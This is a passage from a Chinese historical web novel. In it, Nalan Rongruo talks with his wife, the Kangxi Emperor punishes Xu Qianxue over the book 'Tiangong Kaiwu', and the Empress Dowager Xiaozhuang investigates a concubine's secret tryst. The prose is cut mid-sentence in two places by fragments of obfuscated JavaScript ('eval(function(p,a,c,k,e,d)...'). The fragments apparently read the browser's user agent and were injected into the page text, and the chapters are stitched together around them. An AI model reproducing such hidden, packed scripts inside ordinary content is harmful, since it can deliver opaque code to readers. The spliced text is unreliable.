“尔谖,你果然懂我的心思。”容若以笑相和,“我就是想说:要如实告诉我合不合你的口味。若合,后续的食谱我会安排;若不合,后续我们之间再换别的点心吃。” “是啊,公子肯定不会说‘就多吃点’或是‘就叫厨房多备着’之类的话,因为明府不是寻常人家,所以公子自小不说寻常的大众之语。” “尔谖,我想跟你做个约定,只有彼此的时候,尝试着不拘束明府的规矩来说话。” “公子真是个矛盾的人,一面捣鼓着自己的心思被别人看透,另一面又想享受自现心思的乐趣。” “你是我的正妻,我们之间不一样。” “好,我对公子许诺:两人在一起时,不拘束条条框框,只结寻常布衣之乐。” 寻常布衣。 真是个令人向往的词汇,然不可及。 容若忽然笑了起来,“我明知道自己无法摆脱高门广厦的官宦人家门第,要是在文章里面写自己有‘行走山林,听鸟语观清溪采野菜’之趣,后人是赞扬我?还是笑话我?” 卢氏不假思索道:“史册载纳兰容若为高雅之士,品性出尘,德行出众,后世之人从文章里面还原纳兰容若的形象时,走的多是歌颂的路子。他们是不会认为纳兰容若‘思不切实’的。” “我之神游,在乎梦中、心间、张纯修的画中。”容若珉了一口花茶,“如此放松心境,已然奢侈满足。” 卢氏将剩下的一块玫瑰花饼对半分开,取了各半到自己和容若盘中。 然后,她问:“走出明府而未走出京师的行程,对公子而言都不算是游历或郊游吗?哪怕是登上了万里长城之巅,对公子而言也只是站在一方小天地之上吗?” 容若很自然地吃起来,他喜欢那种趁热的酥香味。 他告诉她:“我向往江南,小桥流水,名客雅集,能够给予我精神和灵魂上的涤荡。江南的风温柔,时光流淌的慢,我想坐拥一份临窗烹茶的雅兴;但我亦不舍京华,从小生长之地,力之所及踏遍之地,总归有感情。” “其实——”他单手托腮,“天地不过是一国之君和一家之主,皇上和阿玛在,长城再高再长再宏伟,也如天地中的一粒芥子,须弥如尘。物已如此,何况是人?我等凡胎,灵根半存,等着走出身外物和身边缚所成的无形茧,得羽化登仙之幸罢了……” 卢氏安静地听着。 她见容若脸上的神情,很是恬然,就好似大唐那位半官半隐的大诗人王维那般: 我心素己自脱俗,闲来卧听落花声。 竹杖踏寻幽篁里,尽是寒翠染清风。 * 罗帐落下,明灯既熄。 同床温梦,将睡之际。 “尔谖,额娘今日说了你的好。” “我的做法和公子所教,是否合二为一的‘好’,额娘都看到了?” “额娘没提我,都是在阿玛面前说你的好话。”容若别过爱妻的刘海,“你贤惠,好评价都是应得的。” “公子夸过我相貌好,如今有额娘夸我懂持家,我可是配得上:蕙质兰心、秀外慧中八个字?” “我希望将来史册评价纳兰性德的爱妻卢氏的时候,可以留下‘才德兼备、温婉淑慧’八个字,亦希望自己为爱妻卢氏所写的文章和词歌,能够流芳百世。” “嫁给公子,三生有幸,一生珍惜。” “能娶尔谖,活之有味,笔生芳华。” 夫妻之间真心的话语最能缠情绕爱,容若想来: “唯愿清梦逐浮舟,一入桃源万顷红。 醒来方知枕余温,已是斜暮晚龄空。” ——这首诗,所言极是。 ——万顷红易逝,枕边人当惜;晚龄空终至,相 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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彭定求朗朗道:“学生得《天工开物》半缺不全的抄本一册,通宵读之,惊为天书!今日与诸生侃侃而谈,乃是分享当中精髓——” “精髓?” 徐乾学在心中冷哼一声。 其踩低宋应星之心昭然若揭: “启禀皇上,臣听闻宋应星忌讳清人服饰和发辫,平日里隐居山林,一切习惯保留明俗,以此来抵抗皇上的满汉一家之策。臣虽碍于忠君之心和自己体面,未读过《天工开物》当中的一字,但今日从彭生口中言词听来,宋应星所写的东西和所绘制的插图,反清复明之心是大大的有啊!” 康熙皇帝看向纳兰,问他:“明府藏书无数,你看过《天工开物》吗?有什么要对朕、座师徐乾学和编修彭定求说的吗?” 纳兰只感觉自己的后背被明珠有意识地拍了一下,意思是警告他要好好回话,别把纳兰家的前途赔了进去。 “回皇上,臣没读过。”纳兰看了徐乾学一眼,故意道,“倒是之前在徐先生府上接受座师授业之时,多有听及。徐先生看过《天工开物》全卷,也未可知!” 在康熙皇帝的质疑目光中,徐乾学强作镇定道:“吾生莫要含血喷人!本官身正言正,岂会勾结前明士人和精读反书?” 纳兰不容置否道:“徐先生肯看天下之书是好事呀!只是怎的今日就想着拿彭生来在皇上面前出气,而忘却了之前对容若的‘教诲’了?” 彭定求趁机:“敢问公子,徐大人是如何论《天工开物》的?” “徐先生说:宋应星是天下奇才,大作之影响远超皇上的施政策略。皇上所推行的:治河运、通漕运、汇粮仓三大要策,还不如《天工开物》当中的一句通河之道。” 听到这里,康熙皇帝把脸色一沉,指着徐乾学怒道:“原来,没把朕放在眼里的,是徐乾学你!” “臣冤枉啊!”徐乾学吓的一跪地,“爱徒容若所说,句句非真,皇上勿信!” “徐乾学,朕竟没想到:你在做学问上得心应手,出卖和反咬起翰林院里面的后起之秀来也是头头是道。朕若非听了纳兰所言,定会先一步为你所惑,定了彭定求之罪。” “臣真的是没有小看过皇上啊!”徐乾学惶恐,“臣可以向苍天起誓——” “够了!”康熙皇帝打断,“纳兰从不在朕面前说谎,你还有何狡辩?当真是不怕走出养心殿后的第一步,就被天雷劈个正着吗?” 徐乾学浑身一抖,垂头向皇上求饶。 “皇上圣明。”彭定求感激地一拱手,“学生谈论《天工开物》,句句都是想着皇上和向着大清的,绝不敢拿皇上跟宋公比较优劣。” “朕,拟将彭定求的俸禄上调一级,以滋励彭定求不畏言语、敢谈奇书之勇气!”康熙皇帝回头一看顾问行,“顾总管,你即刻去吏部传达朕的旨意。” “奴才明白。”顾问行说完,便走向正在对康熙皇帝磕头谢恩的彭定求,“彭生,你今日可是得了好福气,随奴才前去吏部拜访各位大人吧!” “学生叩谢皇上!” 彭定求因祸得福,欢喜地跟随顾总管离殿。 反观徐乾学,搬石头砸了自己的腿,心中是一片懊恼。 ——怨宋应星也不是,怨爱徒容若也不是,如此境地,皆是自找。 ——但是话说回来,《天工开物》里面的技术技巧要是能用在大清的国计民生上,必将大大有利于社稷安定啊! “有关宋应星和《天工开物》一书,朕倒是想读一读。”康熙皇帝忽然来了兴趣,“搜罗之事,就交给曹寅曹侍卫去办!” 梁九功反应机灵:“奴才这就去给曹侍卫传旨。” 此时。 外头传来了一声通报:“启禀皇上,索额图索大人求见。” “准见!” 说罢,康熙皇帝冷扫了徐乾学一眼,“朕罚你半年俸禄算完,跪安吧!” 144.第144章 索额图似乎毫不在意明珠父子的存在,只对康熙皇帝行君臣之礼道:“臣索额图参见皇上,皇上吉祥。” 康熙皇帝见索额图身后跟着两个面生的人,就问:“索额图,你带了何人前来?” 索额图郑重道:“这两位是臣从宫外物色的能人,陈师傅擅长工事监管,陆师傅擅长项目统筹。若是皇上能够对此二人委以重任,想必——” 明珠打断道:“索大人是觉得我朝工部无人可用了吗?专门从宫外找人进来,是想让陈陆二人长见识呢?还是想自己介入毓庆宫内里,一面捞油水、一面把皇太子将来的栖身地把控于股掌之间?” “明珠大人误会。”索额图脸上挤出一丝笑,“有些门道,就怕工部的人自己清楚却非要听明珠大人的话来办事,本官就只能——” “索大人认为我明珠有这么大能耐吗?”明珠看向康熙皇帝,“一切工事概由皇上做主,你我都是奴才,不得干涉造次!” 纳兰看着明索二人,有种各自心怀鬼胎的感觉。 其实细细想来,修建毓庆宫之事自打索党提出以后,皇上之所以采纳意见,也不全在于索额图是皇太子的叔姥爷,更多的还是为了自己的子嗣着想:图个皇嗣们之间和谐相处,认住在正中的皇太子为储君。 于是纳兰就打消了对皇上的劝,安静观察皇上在明索二人面前会有何反应。 康熙皇帝圣明道:“毓庆宫的修筑和四周殿阁的布局,事关皇家血脉和大清江山,朕不会为任何人所左右。明珠索额图,你们要是各打算盘想要背着朕去干一些不法勾当,下面官员弹劾奏章上来,朕一旦查实,绝不轻饶!” 康熙皇帝复指向索额图带来的陈陆二人,道:“还有你们两个,皇家的工事自有皇家的工匠去做,不必效命于索额图。都回到自己的本职工作上去吧。” 等到明索二人消停,康熙皇帝就叫了二人离开,只让纳兰留下。 明珠同样是通过眼神和微动作来暗示自己的儿子:不可惹恼皇上。 * 纳兰和玄烨坐在菩提树下,身上落下天际透过叶片的碎光。 “你打算如何培养子女?”玄烨笑问,“你家什么都不缺,老师亦可你亲自为之,怎么样?你对自己的子女有何厚望?” “臣以皇上对皇嗣的教导为榜样,效仿之。” “朕要听实话。” “是实话。生为男子,无非就是文武两道可选;生为女子,无非就是嫁做人妇。跟皇上教导阿哥们习字骑射、公主们蕙质为国有别吗?” “朕只想格外对皇太子好一些。”玄烨诚实道,“不仅仅因为他的生母是皇后,也因为他的册立和成长关系着满汉关系和大清国运,所以朕躬力亲为,给他最好的学习条件和住处。” “毓庆宫的设计图纸,臣看过了。”纳兰道,“刚开始,臣确实跟阿玛一样觉得皇上过于大张旗鼓、让主宫殿的地位跃居皇宫中的诸建筑之上。但是现在,臣明白了皇上的用意。” “你说朕是什么用意——” “皇上重视对阿哥们的培养,需要一处把阿哥们聚集起来切磋琢磨的地方,毓庆宫跟圈绕的殿阁恰是合适。此外,皇上一向敬重爱新觉罗的列祖列宗和孝顺太皇太后,皇太子和阿哥们居住的地方跟宗庙离得近,可以起到不忘祖宗和严以律己的督促作用,无形之力,效果最大,正好符合汉人们所盼的‘以孝治天下’的期望。” “你倒是比明珠看得明白。” “臣也不过是刚刚想透彻而已,因此决心说服阿玛全力支持皇上。” “朕自登基以来,从不昏庸。所下的每一道旨意、所做的每一次决策,都是把江山百姓装在心中。” “是。太皇太后、满朝文武和天下百姓都把皇上的神武和威严看在眼中,臣也一样,晓得康熙皇帝的目标是成为千古一帝。” “纳兰你好好看着吧!大清的未来是如何在朕的统治下越来越好,皇太子是如何在朕的教导下步步展现下任明君之潜质……”玄烨把头一仰,盯着纳兰的眼睛,“包括你,也会在朕的光芒之下熠熠生辉于史册。” 纳兰在心中一苦笑。 ——光芒之下,而不是光芒之侧。 ——皇上的话中玄机,不过如是。 玄烨站了起来,走上台阶,看向毓庆宫的方向。 纳兰上前,在君侧感受君心,一并期待未来。 玄烨一百八十度地一挥手,雄心万丈道: “朕的眼前,是浩浩荡荡的铁骑向北蒙古草原进发,朕冲锋陷阵于皇军铁骑的最前方,与噶尔丹当面较量,最终打下胜仗!” “朕回到皇宫,终于可以向列祖列宗做出交代:太祖爷、太宗皇帝、皇阿玛你们都看看吧——大清的版图终于完整了,南方三藩已平、对海台岛已经收复、边境沙俄已经撤离,连心腹大患噶尔丹,也已经铲除,太平了,朕的天下太平了!” 纳兰笔直站立,面带磅礴之色,胸有恢宏气势。 “皇上,你今日所言必将成真。” “大清的地图,是皇上一点一点拼凑完整的;大清的国土,是皇上不惧万难收归在手的;大清的吏治和民风,是皇上革故鼎新开创新局的。追随盛世明君,是纳兰的宿命,纳兰不后悔。” “好——”玄烨跟纳兰彼此握拳一碰,“你我君臣今日之言,诸愿成就!” “诸愿成就。”纳兰笃信。 * 江南。 水乡别院。 沈宛坐在宋应星对面,二人刚刚下完一局围棋。 沈宛一边收拾黑白子,一边道:“师傅,您的大作《天工开物》至今没有下文,神龙镖局江南分号的姜飞远姜副爷和众镖师已经发动多方关系去寻了。” 宋应星盯着棋盘侧的一盆秋菊,摇头道:“此事就此张扬出去,要是触动了朝廷利益,对我也没有好处啊!” “现在除了镖局里的人,已经没有谁是可以信得过的了。”沈宛把装黑白棋子的陶瓷罐归位,“之前我就跟师傅您说过了,徐乾学是个小人,要是《天工开物》落入了他手中,他在康熙皇帝面前一番舌根子嚼下来,后果怕是比之前张岱先生的《夜航船》被禁还严重。” “那我还不如让《天工开物》漂洋过海,送到西洋去得了。”宋应星一下子转变了固本贬夷的旧思想,“也不知道镖师们有没有胆量接走往海外的镖。” “师傅您是打算把大作送往西洋的何处?”沈宛惊讶,“就算是要送,人家也看不懂汉字啊!” “我没说要把《天工开物》输送到西洋去扬名立万,所以不必翻译成洋文。”宋应星把棋盘立了起来,“我只是想保全自己毕生的心血而已。” 沈宛把雅菊挪到了桌面的正中央,道:“《天工开物》送往美术馆的好,我听纳兰公子说,西洋的美术馆就相当于是咱们大清的画院,但是人家是对全民开放的,庶民们都能去看那些大画家的画。” “庶民们去看美术馆里面的东西,要花钱吗?” “西方比咱们先进,有慈善家搞公益资助画家和协力办展,庶民们不必花钱。” “慈善家是何意啊?” “就相当于是‘大善商’或者‘义士’,都是些不缺钱和眼光精准的物色者。” 宋应星感慨道:“御婵,真是怪啊!大明和大清的统治者都不歧视夷人夷术,为何朝中却有诸多反对势力?那些人真的是在为统治者坚守祖业尽心吗?” 沈宛失笑,道:“文官多陷于儒家经典和理学的纲常之法,岂非最是保守?武官多看重军功爵位和心中傲骨,岂非最是倔脾气?八旗亲贵和铁帽子亲王们多守旧和怕失去祖上传下来的一切,岂非最是顽固?所以《天工开物》若想出海,并非易事,师傅您也要仔细那些盘查货物的军爷们背后的势力才好。” 宋应星起身,背着手小叹:“咱们光顾着往《天工开物》的未来想,这些书在何处都还没个准呢。” “寻物,越是执着越是难得。”沈宛劝师傅宽心,“还不如多做等待,佳音自来。” 她将半开的窗户推至全开,看向遥远的天际。 镖物的踪迹与天际一样茫茫,天际尚有云开见月之时,镖物理应有水到渠成之觅。 * 延禧宫。 惠妃和荣妃正在说话,忽然传来一声通报:“皇上驾到——” 荣妃道:“果然是姐姐的福气来了,我跟着姐姐也一并沾光。” 惠妃并未询问之前荣妃是否看见“德嫔与隆科多疑似数回私下接触”之事,只笑道:“妹妹诞下三皇子胤祉,跟皇太子一并养着,皇上也是一样疼惜妹妹和孩子们的。” 玄烨走进,见两位妃子之间相处融洽,心情大好。 惠妃叫远黛上了茶,道:“皇上朝中事务繁忙,得空雨露后宫,臣妾等不胜感激、不胜欢喜。” 玄烨淡酌一口清茶,“朕近来没有少把心思放在家事上,秋冬过完便是年,宫里要多些喜事才好,太皇太后也能笑口常开。” “不知皇上所提,”荣妃询问,“可是新宫殿的修筑之事?” “不错。”玄烨点头,“朕从小就在太皇太后的督促之下、勤学苦练成就一身本领,所以最能够切身体会皇子们从小接受教育的重要性。朕已经早做规划:阿哥们从五岁起进入学堂,非病不可缺课,非国难不可停课,非生辰不可休课,必须是:以勤为本、以师为导、以己为练,成长为栋梁之才。” “皇上能够为皇子们提前修筑与安排住处,的确是有先见之明。”荣妃道,“物以类聚、人以群分,有皇太子的向心力所在,阿哥们定是不敢落后——人人争做学问、精进骑射,不负皇上期待。” “凡事预则立,不预则废。”玄烨带着远见,“你俩不要看阿哥们年纪还小,甚至才牙牙学语,氛围这种东西,就是要言传身教才真。” 惠妃柔声问:“不知皇上有何规划?” 玄烨心里有数地一笑,“朕跟太皇太后商议过了,正打算把这些规划都说给你们二妃听。” 惠妃和荣妃齐声:“是。” 玄烨细道: “首先为人,定要有家教。所以皇子们的心思朕或许看不清也猜不透,但在忠孝二字之上,他等必须人人克己守礼:不做僭越之事、不存谋逆之心、不言忤逆之话。” “其次为学,定要有毅力。朕至今仍然日日向学、未中断过汲取书中智慧与治国之道,阿哥们身为朕的儿子,心力和耐性怎能输给朕?他等必须人人学业见长:能通满蒙汉三语、能知书中常识、能记修身之言、能辨是非黑白。” “三而为己,定要有风范。朕只是皇子们成长路上的引导者,再如何窥视他们的人生,也终究无法让他等活的明白。心胸和气度与其说是生在皇家的人与生俱来,不如说是日见优劣、后天培养。因此,他等必须人人活出自己的独特轨迹来:让史册载之有实、评之有据;让后人论之有柄、谈之有题。” “皇上所言,句句都是掏心掏肺。”荣妃心有共感,“臣妾等谨记在心,必是以皇上的宗旨为宗旨,来尽母妃之责。” “朕不怕一厢情愿,只怕心血错付,事与愿违,叫太皇太后伤心,叫列祖列宗叹息。” 惠妃道:“严师出高徒,严父出犬子,亘古以来道理如此,皇家亦然。皇上是经历过的,更应看好皇子们才是。” “朕对大阿哥的栽培,你有何想法?”玄烨问,“胤禔身为皇长子,背负的责任仅次于皇太子。” “胤禔多向臣妾提起皇阿玛的恩威并施,以皇阿玛的心胸和气魄为底气,尽爱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“是呢。”苏麻喇姑笑道,“有老祖宗吉言,纳兰公子的妻妾都能把家里的香火旺盛起来。” 苏麻喇姑问:“下午有人过来回话,说是皇上在奉先殿默默哀思前皇后,老祖宗您怎么看?” “咱们也瞧得出来,皇上格外重视胤礽,立他为皇太子,不全是因为赫舍里皇后因生他难产而死,也有政治因素。”孝庄半垂眸感慨,“但是爱新觉罗家的皇帝,都绕不过‘深情’二字啊!之前皇上把赫舍里皇上当作是索党的筹码,相处过程中得知赫舍里是真正爱他以后,便是彼此鹣鲽情深,真成就了一段帝后佳话。不能怪皇上悄悄在奉先殿思念前皇后。” “皇上的情感没法在外人面前流露,只能如此。”苏麻喇姑又想到,“只是老祖宗您就不觉得皇上近来到您跟前请安,提的都是跟二阿哥相关的事,有些过于固执和频繁了吗?” “皇上没有大规模办赫舍里皇后的丧仪,心中难免对她愧疚。”孝庄对玄烨了解的很,“皇上心中的情绪积压的久了,总要给他一个发泄的机会吧?所以皇上要在家事和皇嗣身上下功夫,咱们不能拦着他。” 苏麻喇姑给孝庄递了茶,“原来老祖宗早就把皇上看透了,才不对皇上的一系列动作有所干涉:大作规划、大兴土木、大言教习。” “皇上肯把心血倾注在胤礽身上是好事,但愿列祖列宗保佑,胤礽是个孝子和好储君。” 说着,孝庄起身,走向里屋的机关密室。 * 密室之中。 立着孝庄布木布泰所供奉的睿王爷多尔衮的牌位和大月战刀。 这是她能为自己的心上人的“存世痕迹”做的唯一追思,和她的心上人能留给她的唯一纪念之物。 “多尔衮啊,原谅你的大玉儿现在才来告知你:康熙皇帝选定了将来大清江山的继承人,是亡故嫡妻赫舍里的嫡子胤礽;以前咱们一起走过的乾清宫旁边的那块空地的东边,也就是斋宫和奉先殿之间,康熙皇帝也用作建设毓庆宫和数座毗邻殿阁了。” “往事一幕一幕,我只要一想到你的背影,就对那块空地存着别样的感触。所以我是希望康熙皇帝的决策是英明的,无关索党的心机、也无关前程后路。” “毓,养育之意;庆,庆祷之意,连起来就是:期盼皇子们健康成长、不负养育之恩。在胤礽出生之前,已经有六名皇子夭折,希望这个吉祥的宫殿名字能够带来父子、兄弟、帝妃之间的真正吉祥吧!” “多尔衮,你可愿意保佑皇上、保佑大清和保佑皇太子?看在毓庆宫跟咱们都有缘的份上,你一定会答应的吧?” “还有啊多尔衮,你这个祖王父就要迎来纳兰容若的子嗣了。” “纳兰这孩子心中一直尊敬着你,我大玉儿也只能在纳兰一家子面前提起你,所幸啊,现在也能给你传个喜讯了。日后若是有机会,我就把纳兰的孩子抱来这里给你看看——” 孝庄的脸上情不自禁地露出笑容。 也许是怀抱着对未来的憧憬,也许是重温着跟多尔衮在一起时的旧梦。 ——她说自己是大玉儿,多尔衮的大玉儿。 ——她说毓庆宫是个吉祥地,说纳兰家喜气盈门,就如同她的少年郎也在天有知一般,就这么倾诉着、呢喃着,簇拥着自己与多尔衮的时光。 * 是夜。 孝庄久违地到御花园之中去观赏秋花和夜观星空。 她走着走着,隐隐约约看见一男一女的身影,看地上倒影:男性腰间带有佩刀,像是皇宫侍卫;女性戴着旗头,绝非普通宫女。 “苏嬷嬷,你过去看看那俩人是谁——” “是,老祖宗。” 145.第145章 却说那一夜,孝庄叫苏麻喇姑去看那“私会”的一男一女以后,那两人的反应倒是快,一听见有风吹草动就分了东西方向而逃,所以并未暴露身份。 次日,孝庄叫了各宫的嫔妃前来问话,但是无人承认。 甚至是德嫔,也信誓旦旦地说:自己昨夜在宫中做针线活,哪里也没有去,为皇上所绣的荷包可以为证。 孝庄没有追究她,也没有多疑她,只问完该问的话,就准了她回宫。 德嫔走出的慈宁宫是,面不改色心不跳,整一个没事的人一般,让其她等候着太皇太后召见的嫔妃们又是惊然、又是佩服。 宜妃上前,多问了一句:“德嫔妹妹好是风轻云淡,当真是跟这人人自危的大环境所不同。” “宜妃姐姐,咱们只要是心里有皇上、做的每一件事都对得起皇上,又有什么好恐慌的呢?”德嫔反问,“倒是有些做贼心虚的人,不必太皇太后亲口来问,自己就先露出了马脚。” 宜妃试探着:“妹妹可知道后宫嫔妃私会男子该当何罪?” 德嫔仍旧淡定:“这臣妾可不好说,之前有过臣子私会嫔妃的事儿,皇上都是先怒后饶的。姐姐非要拿出‘嫔妃主动’四个字来问,皇上的颜面定是挂不住的。” “妹妹倒能把是非黑白分辨的清楚。”宜妃笑了笑,道:“但是皇上对容若公子和惠妃姐姐是讲究情分的,咱们和别的姐妹可不能存着侥幸心理。” “宜妃姐姐提醒的是,妹妹定当记下。”德嫔向宜妃一行礼,“姐姐若是没有别的事,妹妹就先回去了。” “好,妹妹回宫去吧!”宜妃点头,笑中带深意,“后宫可要风平浪静才好。” 另一边,惠妃和荣妃正站在一旁看进进出出的嫔妃们,庆幸迄今为止还没有一人遭到嫌疑、被送往慎刑司拷问。 “关于有嫔妃在御花园的假山附近私会男子之事,其实臣妾也看见了。”荣妃回忆道,“只是当时扑了个空,没法证明他俩谁是谁,否则本着宫规,定是要第一时间禀明太皇太后的。” “妹妹就没有想过,有些人和有些事儿,咱们就算是看清楚了,也不能随便接发吗?”惠妃谨慎,“老祖宗自个问出来的跟咱们嘴里说出来的,差别可就大了。” “臣妾倒是觉得,最不可能的人就是德嫔。”荣妃用手绢擦了擦眼角,语调略悲,“德嫔如今圣宠,当真是什么都不必稀罕了。不像咱们,见着一回皇上、跟皇上一块用一回膳,心里都高兴的跟什么似的。” “妹妹珍惜着就是了,不可在心中多藏怨恨。” 这么跟荣妃说完,惠妃又有些过意不去。 自己之所以能够熬过深宫长夜,是因为心中装着容若表兄,否则……干出“私会侍卫”的事情来的人,会是自己也未可知。 就在此时,慈宁宫正殿内传出了阵阵求饶声。 也不知道是太皇太后终于揪出了“品行不端”之人,还是哪个嫔妃经不住吓,在错乱之中遭了太皇太后的疑,顶不住压力而“认了莫须有”之罪。 掌事太监李福连从里面出来。 “各位主儿,奴才替太皇太后传话:景仁宫的茂贵人口出对皇上大不敬之言——‘皇上也是景仁宫出生的,景仁宫跟乾清宫离得近,臣妾就算是有天大的胆子,也不敢坏了景仁宫的名声、干出不知羞耻的错事来!’太皇太后已经对她下了罪,之后后宫只怕是没有她立足的份了。” “还请各位主儿引以为戒,不要重蹈了茂贵人的覆辙。” “这般此地无银的轻薄的之言也说得出口,茂贵人当真是糊涂!”荣妃道,“跟不打自招有何区别?” “荣妃姐姐,你听——”另一个妃子道,“里面的人,可是至今都在喊自己冤枉呢!” “退一步说,就算茂贵人真的是冤枉的,那她也是:死罪可免,活罪难逃。”荣妃不带同情,“犯错受罚,天经地义。” 惠妃心想: 茂贵人应是因为紧张或是急于辩解才说错了话,以至于给她自己和家族招来了如此大的祸患。莫不如是那清朗气爽的德嫔,没有遭到谁的猜疑。 要不是自己真的亲眼见过德嫔跟隆科多偷偷相处,没准也会跟大家一样把茂贵人当成是不守宫规之人。 但是话说回来,光是把错都怪在茂贵人身上也无用,毕竟那夜在场的男子还未被查明身份,他未招认,茂贵人就的的确确带了一个“冤”字。 众嫔妃只听见从正殿内发出一声不同寻常的响,正想议论是怎么回事呢,又见苏麻喇姑走了出来,便纷纷看向了苏嬷嬷。 苏麻喇姑道:“茂贵人为了自证清白,把自己的脑袋往柱子上撞,这会正在地上一动不动呢。各位主儿要是胆大的,尽可以到正殿里面去见识;胆小的也不强求,都自行回宫了吧!” 惠妃看向和荣妃和宜妃,问:“两位妹妹,咱们一起进去看看吧?” 荣妃和宜妃还在犹豫,就听见苏麻喇姑的声音:“惠妃娘娘倒是最懂事的。” 惠妃自知作为四妃之首,当起到表率作用。 她亦晓得孝庄的心思,就是要好好训诫众嫔妃: 后宫重地,克己守礼为重;寂寞难耐,失德失仪为过。人人都该好生规范德行,全副心思想着皇上才是。 所以,她回应苏嬷嬷道:“臣妾只愿后宫平和,方不会扰了皇上的圣心和辜负了太皇太后的苦心。茂贵人的确是自己糊涂,这番做法无论前后,都是最愚钝的。” “老祖宗说了,茂贵人要是真把自己给撞死了,那就按照官女子的身份去下葬;要是没死,以后也不能再伺候皇上了。”苏麻喇姑站出几步,“看样子各位主儿都不打算回宫,那就一并进去向老祖宗问安吧!” “苏嬷嬷——”宜妃几乎是说出了众人的心声,“茂贵人如此莽撞失仪,太皇太后没有受惊已经万幸,就是皇上那边……可是真的要把她的寻死之因说成是……是私会男子?” “宜妃娘娘急什么呢?”李公公代为答话,“进到里面去见了老祖宗,老祖宗自会拿主意。奴才和苏嬷嬷都是替老祖宗出来,如实给各位主儿说明里面的情况罢了。” 李公公一甩拂尘,面无表情道:“各位主儿走吧,老祖宗正等着呢。” 众嫔妃随行:“是。” * 慈宁宫正殿之内。 诸妃请礼和问安完毕,孝庄道: “现在后宫的贵人们,是越来越不安分了。前有融贵人暗行巫术邀宠自遭天谴,后有茂贵人口出乱言不把皇上放在眼里,再这么下去,就是我这个太皇太后对你们这些孙媳管教无方,无脸于史册。” 惠妃道:“臣妾等时时将太皇太后的教诲牢记于心,不敢忘记本心。今日茂贵人之事,谁都没有预料道,臣妾等请太皇太后训示——” 众嫔妃将惠妃的最后一句话重复了一遍,然后集体肃穆地看向孝庄。 “女子对夫君的不忠,罪同臣子犯上的谋逆。你们的夫君康熙皇帝,虽未日日临幸后宫,但是比起专宠阿巴亥的太祖爷、专宠海兰珠的太宗皇帝,以及专宠董鄂妃的顺治皇帝,已是对诸妃雨露均沾,无所偏私。” 此刻德嫔不在,到底是宜妃性子直,问孝庄道:“老祖宗,各位姐妹都是明白的,皇上的心思都拴在德嫔身上,偶尔分了恩泽给别人,也不过就是一顿饭的功夫。臣妾等当真是不敢抱怨,但求老祖宗解惑。” 面对宜妃的插话,孝庄倒也不吝啬,细致而耐心道: “要想在康熙朝的后宫当一个载誉史册的娴妃,就不要嫉妒或者羡慕别人的福气,都是自家姐妹。在皇上眼里,德嫔有德嫔的好,你们有你们的好,只要你们用心对待皇上,皇上总能感受到,别只把别人的风光看在眼里,好好想想自己能为皇上做什么吧!” “后宫哪个女人没有过坐守空房、彻夜盼君恩的日日夜夜?数都数不清。你们还年轻,看得不够长远。需知道:后宫之中真正有福气和有福报的女人,不是被皇上临幸次数最多的人,而是能够比皇上活的长久、见证皇上一生政绩和一世英名的人。” “所以啊,想明白了这些,你们的心里还会失落吗?还会把一个侍卫当作是最能诉衷肠和倾尽柔情的人吗?还会像茂贵人那般,觉得某座宫殿才是福地吗?你们呀,其实都一样,都一样啊!没有谁比谁更高贵、没有谁天生就能留住皇上,后宫之中唯一值得攀比的,是各自陪伴皇上的年岁的多少啊!” 听罢孝庄的话,众嫔妃如同醍醐灌顶。 苏麻喇姑觉察了孝庄的心思,道:“既然各位主儿都把太皇太后的话记下了,那就散了吧。” * 等到李公公送了各宫嫔妃出去,孝庄跟苏麻喇姑说起了话。 “茂贵人是冤枉的也好清白的也罢,我要是不严惩她,后宫必将再生是非。”孝庄有些伤神,“本来御花园就不是男子该出现的地方,现在出现了男子还查不清男子是谁,当真是扫了皇上的颜面。” 苏麻喇姑劝道:“只是不知道这次的私会之事,是男子主动还是嫔妃勾引,老祖宗您要是一个一个嫔妃地问话,怕是累着自己呐。” “为了皇上为了大清,我这个后宫之主还有的是操劳的时候。”孝庄忽然把精神一振,“交代下去,近日进出过御花园的侍卫,人人都要盘问,凡是可疑者都要带到慎刑司去盘核审查,一旦属实,格杀勿论。” “是。” 苏麻喇姑应完,提醒孝庄道:“奴才猜想,近来宫中多工事,又有索额图带民间工匠入宫请命之实,私闯御花园的……有无可能是扮作带刀侍卫的民间工匠?” 孝庄一斟酌,“倒也不无可能,一朝自己心爱的女子被皇上纳为妃,想要跟自己的青梅竹马再续前缘也是有的。苏嬷嬷,你去把入宫晚的几个新人都带到我这里来,我看看能否从她们口中问出实情——” “是。老祖宗吩咐的两件事,奴才这就去办。” 苏麻喇姑走后,正殿之内就只剩下孝庄一人。 她用剪刀剪掉了一朵开的正好的牡丹花,就在牡丹花掉落到桌面上的那一瞬间,她又无情地用护甲将落红扫落在地,看似要对行为不端的男女动真格。 * 三日后,纳兰容若来到侍卫营找二等侍卫格尔芬。 他恰好是看见:隆科多在迅速却无条理用白布擦拭自己的佩刀,神情像是紧张当中带着那么一些不安,甚至连手,都有那么一些抖。 纳兰自知不可追问过多,便上前道:“容若听闻:洋枪有走火,大刀恐伤手。佟佳侍卫你要仔细刀锋太锐利,手未割而心先伤。” 隆科多立马放下佩刀,像抓住救命稻草一般,抓住纳兰的手道:“我做了僭越本份之事,还请公子给我指条明路。” 纳兰疑道:“佟佳氏祖祖辈辈为朝廷立功,一直到你这一辈,都是朝廷重臣,想必佟侍卫你不会糊涂,犯下害了自己也害了佟佳氏一族的大错出来。” 隆科多一咬牙:“我就是一时糊涂,才……才对不该心动的女子心动了呀!” 纳兰聪慧。 马上意识到隆科多那不方便说出口的私事,就是指:在办差巡逻的过程当中,巧遇康熙皇帝的某位妃子、并且与她相互生了情愫之事。 果不其然,隆科多坦诚道:“我阿玛佟国维官居议政大臣,翻弄朝政也翻弄内务府,故而深知皇上现今圣宠德嫔,便叫我趁着内宫之职前去接触她,以从她身上摸索出得宠之因,好教导我那即将参加选秀的姐姐景茵珠讨皇上欢心。哪知道……” 隆科多打了自己一嘴巴,“我跟德嫔一回生二回熟,私下相处的久了,彼此间就从最初的好感过度到了动真情的地步啊!” 